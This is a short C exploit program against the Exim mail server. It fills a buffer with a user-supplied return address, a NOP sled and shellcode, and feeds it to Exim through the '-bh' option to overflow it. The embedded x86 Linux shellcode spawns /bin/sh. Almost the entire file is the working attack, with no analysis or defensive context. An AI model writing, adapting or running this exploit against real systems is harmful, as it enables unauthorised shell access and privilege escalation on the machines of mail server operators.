#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";

    char buffer [TAMBUF + 1];
    char cadena [TAMBUF + 5];
    int cont;
    unsigned long ret = strtoul (argv[1], NULL, 16);

    for (cont = 0; cont < TAMBUF / 4; cont++)
            *( (long *) buffer + cont) = ret;

    for (cont = 0; cont < strlen (shellcode); cont++)
            buffer [cont + INIC_SH] = shellcode [cont];

    for (cont = 0; cont < INIC_SH; cont++)
            buffer [cont] = NOP;

    buffer [TAMBUF] = 0;
    printf ("RET = 0x%x\n", ret);
    strcpy (cadena, "::%A");
    strcat (cadena, buffer);
        execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}